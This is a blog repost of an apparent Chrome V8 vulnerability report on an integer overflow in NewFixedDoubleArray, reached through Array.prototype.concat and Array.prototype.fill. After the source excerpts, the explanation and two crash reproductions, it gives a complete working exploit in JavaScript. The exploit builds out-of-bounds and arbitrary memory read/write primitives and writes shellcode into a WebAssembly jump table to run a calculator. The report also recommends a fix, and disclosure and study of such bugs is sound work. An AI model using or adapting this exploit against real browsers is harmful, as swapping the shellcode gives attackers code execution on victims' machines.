Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375933

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
VULNERABILITY DETAILS
https://cs.chromium.org/chromium/src/v8/src/heap/factory.cc?rcl=dd689541d3815d64b4b39f6a41603248c71aa00e&l=496
Handle<FixedArrayBase> Factory::NewFixedDoubleArray(int length,
                                                    PretenureFlag pretenure) {
  DCHECK_LE(0, length);
  if (length == 0) return empty_fixed_array();
  if (length > FixedDoubleArray::kMaxLength) { // ***1***
    isolate()->heap()->FatalProcessOutOfMemory("invalid array length");
  }
  int size = FixedDoubleArray::SizeFor(length); // ***2***
  Map map = *fixed_double_array_map();
  HeapObject result =
      AllocateRawWithImmortalMap(size, pretenure, map, kDoubleAligned);
  Handle<FixedDoubleArray> array(FixedDoubleArray::cast(result), isolate());
  array->set_length(length);
  return array;
}

https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=933508f981a984b7868d70c3adb781783e5aa32d&l=1183
Object Slow_ArrayConcat(BuiltinArguments* args, Handle<Object> species,
                        Isolate* isolate) {
[...]
  uint32_t estimate_result_length = 0;
  uint32_t estimate_nof = 0;
  FOR_WITH_HANDLE_SCOPE(isolate, int, i = 0, i, i < argument_count, i++, {
    Handle<Object> obj = args->at(i);
    uint32_t length_estimate;
    uint32_t element_estimate;
    if (obj->IsJSArray()) {
      Handle<JSArray> array(Handle<JSArray>::cast(obj));
      length_estimate = static_cast<uint32_t>(array->length()->Number());
      if (length_estimate != 0) {
        ElementsKind array_kind =
            GetPackedElementsKind(array->GetElementsKind());
        kind = GetMoreGeneralElementsKind(kind, array_kind);
      }
      element_estimate = EstimateElementCount(isolate, array);
    } else {
[...]
    }
    // Avoid overflows by capping at kMaxElementCount.
    if (JSObject::kMaxElementCount - estimate_result_length < length_estimate) { // ***3***
      estimate_result_length = JSObject::kMaxElementCount;
    } else {
      estimate_result_length += length_estimate;
    }
    if (JSObject::kMaxElementCount - estimate_nof < element_estimate) {
      estimate_nof = JSObject::kMaxElementCount;
    } else {
      estimate_nof += element_estimate;
    }
  });

  // If estimated number of elements is more than half of length, a
  // fixed array (fast case) is more time and space-efficient than a
  // dictionary.
  bool fast_case = is_array_species &&
                   (estimate_nof * 2) >= estimate_result_length &&
                   isolate->IsIsConcatSpreadableLookupChainIntact(); // ***4***

  if (fast_case && kind == PACKED_DOUBLE_ELEMENTS) {
    Handle<FixedArrayBase> storage =
        isolate->factory()->NewFixedDoubleArray(estimate_result_length); // ***5***
[...]

https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=1378
MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,
                                      BuiltinArguments* args) {
[...]
  int result_len = 0;
  {
    DisallowHeapAllocation no_gc;
    // Iterate through all the arguments performing checks
    // and calculating total length.
    for (int i = 0; i < n_arguments; i++) {
      Object arg = (*args)[i];
      if (!arg->IsJSArray()) return MaybeHandle<JSArray>();
      if (!HasOnlySimpleReceiverElements(isolate, JSObject::cast(arg))) {
        return MaybeHandle<JSArray>();
      }
      // TODO(cbruni): support fast concatenation of DICTIONARY_ELEMENTS.
      if (!JSObject::cast(arg)->HasFastElements()) {
        return MaybeHandle<JSArray>();
      }
      Handle<JSArray> array(JSArray::cast(arg), isolate);
      if (!IsSimpleArray(isolate, array)) { // ***6***
        return MaybeHandle<JSArray>();
      }
      // The Array length is guaranted to be <= kHalfOfMaxInt thus we won't
      // overflow.
      result_len += Smi::ToInt(array->length());
      DCHECK_GE(result_len, 0);
      // Throw an Error if we overflow the FixedArray limits
      if (FixedDoubleArray::kMaxLength < result_len || /// ***7***
          FixedArray::kMaxLength < result_len) {
        AllowHeapAllocation gc;
        THROW_NEW_ERROR(isolate,
                        NewRangeError(MessageTemplate::kInvalidArrayLength),
                        JSArray);
      }
    }
  }
  return ElementsAccessor::Concat(isolate, args, n_arguments, result_len);
}

https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=244
BUILTIN(ArrayPrototypeFill) {
[...]
  // 2. Let len be ? ToLength(? Get(O, "length")).
  double length;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, length, GetLengthProperty(isolate, receiver)); // ***8***

  // 3. Let relativeStart be ? ToInteger(start).
  // 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
  //    else let k be min(relativeStart, len).
  Handle<Object> start = args.atOrUndefined(isolate, 2);

  double start_index;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, start_index, GetRelativeIndex(isolate, length, start, 0)); // ***9***

  // 5. If end is undefined, let relativeEnd be len;
  //    else let relativeEnd be ? ToInteger(end).
  // 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
  //    else let final be min(relativeEnd, len).
  Handle<Object> end = args.atOrUndefined(isolate, 3);

  double end_index;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, end_index, GetRelativeIndex(isolate, length, end, length));
[...]
  if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
                       end_index)) {

https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=d8b0d88de4b7d73ea02abb8511c146944d6ccf67&l=2244
static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value,
                       uint32_t start, uint32_t end) {
  // Ensure indexes are within array bounds
  DCHECK_LE(0, start);
  DCHECK_LE(start, end);

  // Make sure COW arrays are copied.
  if (IsSmiOrObjectElementsKind(Subclass::kind())) {
    JSObject::EnsureWritableFastElements(receiver);
  }

  // Make sure we have enough space.
  uint32_t capacity =
      Subclass::GetCapacityImpl(*receiver, receiver->elements());
  if (end > capacity) {
    Subclass::GrowCapacityAndConvertImpl(receiver, end); // ***10***
    CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
  }

|NewFixedDoubleArray| doesn't expect the |length| argument to be negative (there's even a DCHECK for
that), as it would pass the maximum length check[1] and cause an integer overflow when computing the
size of the backing store[2]. The undersized backing store then might be used for out-of-bounds 
access. It turns out there are at least two methods that allow passing negative values to
|NewFixedDoubleArray|.


1. Concat

The implementation of |Array.prototype.concat| in V8 has quite a few fast code paths that deal with
different kinds of arguments. The structure roughly looks like:

                     +------------------+
                     |                  |
      +--------------> Fast_ArrayConcat |
      |              |                  |
      |              +------------------+      ***********************
+-------------+                                *                     *
|             |               +----------------> packed double array *
| ArrayConcat |               |                *                     *
|             |               |                ***********************
+-------------+               |
      |              +------------------+                                    +---------------------+
      |              |                  |                                    |                     |
      +--------------> Slow_ArrayConcat |                 +------------------> fixed array storage |
                     |                  |                 |                  |                     |
                     +------------------+                 |                  +---------------------+
                              |                           |
                              |                +---------------------+       +---------------------+
                              |                |                     |       |                     |
                              +----------------> ArrayConcatVisitor  +-------> dictionary storage  |
                                               |                     |       |                     |
                                               +---------------------+       +---------------------+
                                                          |
                                                          |                  +---------------------+
                                                          |                  |                     |
                                                          +------------------> JSReceiver storage  |
                                                                             |                     |
                                                                             +---------------------+

The relevant code path for this issue is the packed double array case inside |Slow_ArrayConcat|.
The method uses an unsigned variable for computing the result array length and caps it at
|kMaxElementCount|[3], i.e., at 0xffffffff. Then the value of the variable gets converted to a
*signed* type and passed to |NewFixedDoubleArray|[5] provided that the |fast_case| condition is
satisfied[4], and the estimated array type is PACKED_DOUBLE. Thus, any value in the range
[0x80000000, 0xffffffff] could pass the length check and trigger the overflow.

That still means an attacker has to make the method iterate through more than two billion array
elements, which might seem implausible; actually, the whole process takes just a couple of seconds
on a modern machine and has moderate memory requirements because multiple arguments can refer to the
same array.

Also, |ArrayConcat| calls |Fast_ArrayConcat| in the beginning, and the fast method has a more strict
length check, which might throw an error when the result length is more than |FixedDoubleArray::
kMaxLength|[7]. So, the attacker has to make |Fast_ArrayConcat| return early without triggering the
error. The easiest way to achieve that is to define an additional property on the array.

REPRODUCTION CASE:
<script>
const MB = 1024 * 1024,
      block_size = 32 * MB;
array = Array(block_size).fill(1.1);
array.prop = 1;
args = Array(2048 * MB / block_size - 2).fill(array);
args.push(Array(block_size));
array.concat.apply(array, args);
</script>


2. Fill

The bug in |concat| allows writing data beyond the bounds of an array, but it's difficult to limit
the size of the OOB data to a sane value, which makes the exploitation primitive less useful.
So, I've spent some time looking for variants of the issue, and found one in |Array.prototype.fill|.

|ArrayPrototypeFill| initially obtains the length of an array[8] and uses that value to limit the
|start| and |end| arguments. However, a later call to |GetRelativeIndex|[9] might trigger a
user-defined JS function, which could modify the length. Usually, that's enough to cause OOB
access, so |FastElementsAccessor::FillImpl| double-checks that the capacity of the array is not less
than |end| and might call |GrowCapacityAndConvertImpl|[10], which in turn might call
|NewFixedDoubleArray|. The issue here is that there's no check that |end| is small enough to fit in
a signed type; therefore the same overflow leading to the allocation of an undersized backing store
could occur.

REPRODUCTION CASE:
<script>
array = [];
array.length = 0xffffffff;

b = array.fill(1.1, 0, {valueOf() {
  array.length = 32;
  array.fill(1.1);
  return 0x80000000;
}});
</script>


Exploitation:
Unlike |concat|, |fill| conveniently allows limiting the size of the OOB block by modifying the
|start| argument. The exploit forces the method to return an array whose length value is bigger than
the actual size of the backing store, which is essentially a ready-to-use OOB read/write
exploitation primitive. The rest is just copied from https://crbug.com/931640.

<script>
let data_view = new DataView(new ArrayBuffer(8));
reverseDword = dword => {
  data_view.setUint32(0, dword, true);
  return data_view.getUint32(0, false);
}

reverseQword = qword => {
  data_view.setBigUint64(0, qword, true);
  return data_view.getBigUint64(0, false);
}

floatAsQword = float => {
  data_view.setFloat64(0, float);
  return data_view.getBigUint64(0);
}

qwordAsFloat = qword => {
  data_view.setBigUint64(0, qword);
  return data_view.getFloat64(0);
}

let oob_access_array;
let ptr_leak_object;
let arbirary_access_array;
let ptr_leak_index;
let external_ptr_index;
let external_ptr_backup;
const MARKER = 0x31337;

leakPtr = obj => {
  ptr_leak_object[0] = obj;
  return floatAsQword(oob_access_array[ptr_leak_index]);
}

getQword = address => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  return arbirary_access_array[0];
  oob_access_array[external_ptr_index] = external_ptr_backup;
}

setQword = (address, value) => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  arbirary_access_array[0] = value;
  oob_access_array[external_ptr_index] = external_ptr_backup;
}

getField = (object_ptr, num, tagged = true) =>
  object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));

setBytes = (address, array) => {
  for (let i = 0; i < array.length; ++i) {
    setQword(address + BigInt(i), BigInt(array[i]));
  }
}

triggerOob = () => {
  array = [];
  array.length = 0xffffffff;
  ptr_leak_object = {};
  arbirary_access_array = new BigUint64Array(1);

  oob_access_array = array.fill(1.1, 0x80000000 - 1, {valueOf() {
    array.length = 32;
    array.fill(1.1);
    return 0x80000000;
  }});
  ptr_leak_object[0] = MARKER;
  arbirary_access_array.buffer;
}

findOffsets = () => {
  let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
  for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
      ++ptr_leak_index) {
    if (oob_access_array[ptr_leak_index] === markerAsFloat) {
      break;
    }
  }

  let oneAsFloat = qwordAsFloat(1n << 32n);
  for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
      ++external_ptr_index) {
    if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
        oob_access_array[external_ptr_index - 1] === 0) {
      break;
    }
  }

  if (ptr_leak_index === oob_access_array.length ||
      external_ptr_index === oob_access_array.length) {
    throw alert("Couldn't locate the offsets");
  }

  external_ptr_backup = oob_access_array[external_ptr_index];
}

runCalc = () => {
  const wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
    0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
    0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
    0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
    0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x41, 0x00, 0x0b
  ]);
  const wasm_instance = new WebAssembly.Instance(
    new WebAssembly.Module(wasm_code));
  const wasm_func = wasm_instance.exports.a;

  const shellcode = [
    0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,
    0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,
    0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,
    0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,
    0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,
    0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,
    0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,
    0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,
    0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00
  ];

  wasm_instance_ptr = leakPtr(wasm_instance);
  const jump_table = getQword(getField(wasm_instance_ptr, 33));

  setBytes(jump_table, shellcode);
  wasm_func();
}

triggerOob();
findOffsets();
runCalc();
</script>


VERSION
Google Chrome 72.0.3626.121 (Official Build) (64-bit)
Google Chrome 74.0.3725.0 (Official Build) canary


I'd recommend changing |NewFixedDoubleArray| so it throws an OOM error on negative values, the same
way as the similar |AllocateRawFixedArray| function currently does.